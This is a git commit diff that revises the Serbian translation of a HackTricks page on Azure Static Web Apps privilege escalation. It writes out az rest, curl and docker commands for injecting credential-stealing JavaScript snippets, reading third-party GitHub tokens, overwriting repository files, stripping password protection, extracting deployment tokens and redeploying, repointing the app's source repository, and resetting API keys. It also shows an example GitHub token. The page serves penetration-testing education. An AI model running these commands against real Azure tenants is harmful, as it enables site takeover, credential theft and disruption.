mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-03-12 21:22:57 -07:00
Translated ['', 'src/pentesting-cloud/azure-security/az-privilege-escala
This commit is contained in:
@@ -4,7 +4,7 @@
|
||||
|
||||
## Azure Static Web Apps
|
||||
|
||||
Za više informacija o ovoj usluzi proverite:
|
||||
Za više informacija o ovom servisu pogledajte:
|
||||
|
||||
{{#ref}}
|
||||
../az-services/az-static-web-apps.md
|
||||
@@ -12,9 +12,9 @@ Za više informacija o ovoj usluzi proverite:
|
||||
|
||||
### Microsoft.Web/staticSites/snippets/write
|
||||
|
||||
Moguće je napraviti statičku web stranicu koja učitava proizvoljni HTML kod kreiranjem snippeta. Ovo bi moglo omogućiti napadaču da ubrizga JS kod unutar web aplikacije i ukrade osetljive informacije kao što su akreditivi ili mnemoničke ključeve (u web3 novčanicima).
|
||||
Moguće je naterati statičku web stranicu da učita proizvoljni HTML kod kreiranjem snippet-a. Ovo bi moglo omogućiti attackeru da injectuje JS kod unutar web app-a i ukrade osetljive informacije kao što su credentials ili mnemonic keys (u web3 wallets).
|
||||
|
||||
Sledeća komanda kreira snippet koji će uvek biti učitan od strane web aplikacije::
|
||||
Sledeća komanda kreira snippet koji će uvek biti učitan od strane web app-a::
|
||||
```bash
|
||||
az rest \
|
||||
--method PUT \
|
||||
@@ -31,15 +31,15 @@ az rest \
|
||||
}
|
||||
}'
|
||||
```
|
||||
### Pročitajte Konfigurisane Treće Strane Akreditive
|
||||
### Čitanje konfigurisanih akreditiva trećih strana
|
||||
|
||||
Kao što je objašnjeno u sekciji App Service:
|
||||
Kao što je objašnjeno u delu App Service:
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-app-services-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
Pokretanjem sledeće komande moguće je **pročitati akreditive treće strane** konfigurisane u trenutnom nalogu. Imajte na umu da, na primer, ako su neki Github akreditive konfigurisani za drugog korisnika, nećete moći da pristupite tokenu iz drugog.
|
||||
Pokretanjem sledeće komande moguće je **pročitati akreditive trećih strana** konfigurisanе na trenutnom nalogu. Imajte na umu da, na primer, ako su neke Github akreditive konfigurisanе pod drugim korisnikom, nećete moći da pristupite tokenu iz drugog naloga.
|
||||
```bash
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
|
||||
@@ -69,14 +69,12 @@ curl -H "Authorization: Bearer <token>" \
|
||||
-H "Accept: application/json" \
|
||||
https://graph.microsoft.com/v1.0/me/drive/root/children
|
||||
```
|
||||
### Prepisivanje fajla - Prepisivanje ruta, HTML, JS...
|
||||
### Prepisivanje fajla - Prepisivanje ruta, HTML-a, JS-a...
|
||||
|
||||
Moguće je **prepisati fajl unutar Github repozitorijuma** koji sadrži aplikaciju putem Azure-a, šaljući zahtev sa **Github tokenom** kao što je sledeći, koji će označiti putanju fajla koji treba prepisati, sadržaj fajla i poruku o komitu.
|
||||
|
||||
Ovo mogu zloupotrebiti napadači da suštinski **promene sadržaj web aplikacije** kako bi servirali maliciozan sadržaj (ukrali akreditive, mnemoničke ključeve...) ili samo da **preusmere određene putanje** na svoje servere prepisivanjem `staticwebapp.config.json` fajla.
|
||||
Moguće je **prepisati fajl unutar Github repozitorijuma** koji sadrži aplikaciju putem Azure-a koji poseduje **Github token**, slanjem zahteva kao u nastavku koji će navesti putanju fajla koji treba prepisati, sadržaj fajla i poruku commita.
|
||||
|
||||
> [!WARNING]
|
||||
> Imajte na umu da ako napadač uspe da kompromituje Github repozitorijum na bilo koji način, takođe može direktno prepisati fajl sa Github-a.
|
||||
> Imajte na umu da ako napadač na bilo koji način uspe da kompromituje Github repozitorijum, može i direktno prepisati fajl iz Github-a.
|
||||
```bash
|
||||
curl -X PUT "https://functions.azure.com/api/github/updateGitHubContent" \
|
||||
-H "Content-Type: application/json" \
|
||||
@@ -97,9 +95,9 @@ curl -X PUT "https://functions.azure.com/api/github/updateGitHubContent" \
|
||||
"gitHubToken": "gho_1OSsm834ai863yKkdwHGj31927PCFk44BAXL"
|
||||
}'
|
||||
```
|
||||
### Microsoft.Web/staticSites/config/write
|
||||
### Microsoft.Web/staticSites/config/write
|
||||
|
||||
Sa ovom dozvolom, moguće je **izmeniti lozinku** koja štiti statičku web aplikaciju ili čak ukloniti zaštitu sa svake okoline slanjem zahteva kao što je sledeći:
|
||||
Sa ovom dozvolom moguće je **izmeniti lozinku** koja štiti static web app ili čak ukloniti zaštitu sa svih okruženja slanjem zahteva kao što je sledeći:
|
||||
```bash
|
||||
# Change password
|
||||
az rest --method put \
|
||||
@@ -133,32 +131,38 @@ az rest --method put \
|
||||
```
|
||||
### Microsoft.Web/staticSites/listSecrets/action
|
||||
|
||||
Ova dozvola omogućava dobijanje **API ključa za token za implementaciju** za statičku aplikaciju:
|
||||
Ova dozvola omogućava dobijanje **API key deployment token** za static app.
|
||||
|
||||
Korišćenjem az rest:
|
||||
```bash
|
||||
az rest --method POST \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/listSecrets?api-version=2023-01-01"
|
||||
```
|
||||
Zatim, da biste **ažurirali aplikaciju koristeći token**, možete pokrenuti sledeću komandu. Imajte na umu da je ova komanda izvučena proverom **kako Github Action [https://github.com/Azure/static-web-apps-deploy](https://github.com/Azure/static-web-apps-deploy) funkcioniše**, jer je to ono što je Azure postavio kao podrazumevano za korišćenje. Tako da se slika i parametri mogu promeniti u budućnosti.
|
||||
Korišćenje AzCLI:
|
||||
```bash
|
||||
az staticwebapp secrets list --name <appname> --resource-group <RG>
|
||||
```
|
||||
Zatim, da biste **ažurirali aplikaciju koristeći token**, možete pokrenuti sledeću komandu. Napomena: ova komanda je izvučena proverom **kako Github Action [https://github.com/Azure/static-web-apps-deploy](https://github.com/Azure/static-web-apps-deploy) radi**, pošto je to podrazumevani način koji Azure koristi. Dakle, image i parametri se mogu promeniti u budućnosti.
|
||||
|
||||
> [!TIP]
|
||||
> Da biste implementirali aplikaciju, možete koristiti **`swa`** alat iz [https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token](https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token) ili pratiti sledeće sirove korake:
|
||||
> Za deploy aplikacije možete koristiti alat **`swa`** sa [https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token](https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token) ili pratiti sledeće osnovne korake:
|
||||
|
||||
1. Preuzmite repo [https://github.com/staticwebdev/react-basic](https://github.com/staticwebdev/react-basic) (ili bilo koji drugi repo koji želite da implementirate) i pokrenite `cd react-basic`.
|
||||
2. Promenite kod koji želite da implementirate
|
||||
3. Implementirajte ga pokretanjem (Zapamtite da promenite `<api-token>`):
|
||||
1. Preuzmite repo [https://github.com/staticwebdev/react-basic](https://github.com/staticwebdev/react-basic) (ili bilo koji drugi repo koji želite da deploy-ujete) i pokrenite `cd react-basic`.
|
||||
2. Izmenite kod koji želite da deploy-ujete
|
||||
3. Deploy-ujte ga pokretanjem komande (Zapamtite da zamenite `<api-token>`):
|
||||
```bash
|
||||
docker run --rm -v $(pwd):/mnt mcr.microsoft.com/appsvc/staticappsclient:stable INPUT_AZURE_STATIC_WEB_APPS_API_TOKEN=<api-token> INPUT_APP_LOCATION="/mnt" INPUT_API_LOCATION="" INPUT_OUTPUT_LOCATION="build" /bin/staticsites/StaticSitesClient upload --verbose
|
||||
```
|
||||
> [!WARNING]
|
||||
> Čak i ako imate token, nećete moći da implementirate aplikaciju ako je **Politika autorizacije implementacije** postavljena na **Github**. Za korišćenje tokena biće vam potrebna dozvola `Microsoft.Web/staticSites/write` da promenite metodu implementacije da koristi APi token.
|
||||
> Čak i ako imate token, nećete moći da deploy-ujete aplikaciju ako je **Deployment Authorization Policy** podešena na **Github**. Za korišćenje tokena biće vam potrebna dozvola `Microsoft.Web/staticSites/write` da promenite metod deploy-a kako biste koristili th APi token.
|
||||
|
||||
### Microsoft.Web/staticSites/write
|
||||
|
||||
Sa ovom dozvolom je moguće **promeniti izvor statičke web aplikacije na drugi Github repozitorijum**, međutim, neće biti automatski obezbeđen jer to mora biti urađeno iz Github akcije.
|
||||
Sa ovom dozvolom moguće je **promeniti izvor static web app na drugi Github repository**, međutim on neće biti automatski provision-ovan jer to mora da se uradi iz Github Action.
|
||||
|
||||
Međutim, ako je **Politika autorizacije implementacije** postavljena na **Github**, moguće je **ažurirati aplikaciju iz novog izvora repozitorijuma!**.
|
||||
Međutim, ako je **Deployment Authotization Policy** podešena na **Github**, moguće je **ažurirati aplikaciju iz novog source repository-ja!**.
|
||||
|
||||
U slučaju da **Politika autorizacije implementacije** nije postavljena na Github, možete je promeniti sa istom dozvolom `Microsoft.Web/staticSites/write`.
|
||||
U slučaju da **Deployment Authorization Policy** nije podešena na Github, možete je promeniti istom dozvolom `Microsoft.Web/staticSites/write`.
|
||||
```bash
|
||||
# Change the source to a different Github repository
|
||||
az staticwebapp update --name my-first-static-web-app --resource-group Resource_Group_1 --source https://github.com/carlospolop/my-first-static-web-app -b main
|
||||
@@ -181,7 +185,7 @@ az rest --method PATCH \
|
||||
}
|
||||
}'
|
||||
```
|
||||
Primer Github akcije za implementaciju aplikacije:
|
||||
Primer Github Action za deploy aplikacije:
|
||||
```yaml
|
||||
name: Azure Static Web Apps CI/CD
|
||||
|
||||
@@ -244,16 +248,16 @@ action: "close"
|
||||
```
|
||||
### Microsoft.Web/staticSites/resetapikey/action
|
||||
|
||||
Sa ovom dozvolom je moguće **resetovati API ključ statičke web aplikacije** potencijalno DoSing radne tokove koji automatski implementiraju aplikaciju.
|
||||
Sa ovom dozvolom moguće je **reset the API key of the static web app**, potencijalno DoSing workflows koji automatski deploy-uju aplikaciju.
|
||||
```bash
|
||||
az rest --method POST \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/resetapikey?api-version=2019-08-01"
|
||||
```
|
||||
### Microsoft.Web/staticSites/createUserInvitation/action
|
||||
|
||||
Ova dozvola omogućava **kreiranje pozivnice za korisnika** da pristupi zaštićenim putanjama unutar statičke web aplikacije sa određenom dodeljenom ulogom.
|
||||
Ovo dopuštenje omogućava **kreiranje pozivnice za korisnika** za pristup zaštićenim putanjama unutar static web app-a sa određenom ulogom.
|
||||
|
||||
Prijava se nalazi na putanji kao što je `/.auth/login/github` za github ili `/.auth/login/aad` za Entra ID, a korisnik može biti pozvan sledećom komandom:
|
||||
Prijava se nalazi na putanji kao što je `/.auth/login/github` za github ili `/.auth/login/aad` za Entra ID, i korisnik može biti pozvan sledećom komandom:
|
||||
```bash
|
||||
az staticwebapp users invite \
|
||||
--authentication-provider Github # AAD, Facebook, GitHub, Google, Twitter \
|
||||
@@ -266,11 +270,12 @@ az staticwebapp users invite \
|
||||
```
|
||||
### Pull Requests
|
||||
|
||||
Podrazumevano, Pull Requests iz grane u istom repozitorijumu će biti automatski kompajlirani i izgrađeni u staging okruženju. Ovo bi moglo biti zloupotrebljeno od strane napadača sa pristupom za pisanje u repozitorijum, ali bez mogućnosti da zaobiđe zaštitu grane produkcijske grane (obično `main`) da **implementira zloćudnu verziju aplikacije** u staging URL-u.
|
||||
Podrazumevano, Pull Requests sa branch-a u istom repo-u se automatski kompajliraju i build-uju u staging okruženju. Ovo može biti zloupotrebljeno od strane napadača koji ima write pristup repo-u, ali ne može da zaobiđe branch protections production branch-a (obično `main`) da **deploy-uje malicioznu verziju aplikacije** na staging URL.
|
||||
|
||||
Staging URL ima ovaj format: `https://<app-subdomain>-<PR-num>.<region>.<res-of-app-domain>` kao: `https://ambitious-plant-0f764e00f-2.eastus2.4.azurestaticapps.net`
|
||||
Staging URL ima oblik: `https://<app-subdomain>-<PR-num>.<region>.<res-of-app-domain>` na primer: `https://ambitious-plant-0f764e00f-2.eastus2.4.azurestaticapps.net`
|
||||
|
||||
> [!TIP]
|
||||
> Imajte na umu da podrazumevano spoljašnji PR-ovi neće pokretati radne tokove osim ako nisu spojili barem 1 PR u repozitorijum. Napadač bi mogao poslati validan PR u repozitorijum i **zatim poslati zloćudni PR** u repozitorijum da implementira zloćudnu aplikaciju u staging okruženju. MEĐUTIM, postoji neočekivana zaštita, podrazumevani Github Action za implementaciju u statičku web aplikaciju treba pristup tajni koja sadrži token za implementaciju (kao što je `secrets.AZURE_STATIC_WEB_APPS_API_TOKEN_AMBITIOUS_PLANT_0F764E00F`) čak i ako se implementacija vrši sa IDToken-om. To znači da pošto spoljašnji PR neće imati pristup ovoj tajni i spoljašnji PR ne može promeniti Workflow da ovde postavi proizvoljni token bez da PR bude prihvaćen, **ova napad neće zaista uspeti**.
|
||||
> Imajte na umu da podrazumevano external PRs neće pokretati Workflows osim ako prethodno nisu merge-ovali bar 1 PR u repository. Napadač bi mogao poslati validan PR u repo i **zatim poslati maliciozni PR** da deploy-uje malicioznu aplikaciju u staging okruženje. MEĐUTIM, postoji neočekivana zaštita: default Github Action za deploy u static web app zahteva pristup secret-u koji sadrži deployment token (npr. `secrets.AZURE_STATIC_WEB_APPS_API_TOKEN_AMBITIOUS_PLANT_0F764E00F`) čak i ako je deployment urađen sa IDToken-om. To znači da, pošto external PRs neće imati pristup tom secret-u i external PR ne može promeniti Workflow da ubaci proizvoljan token bez prihvatanja PR-a, **ovaj napad zapravo neće raditi**.
|
||||
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user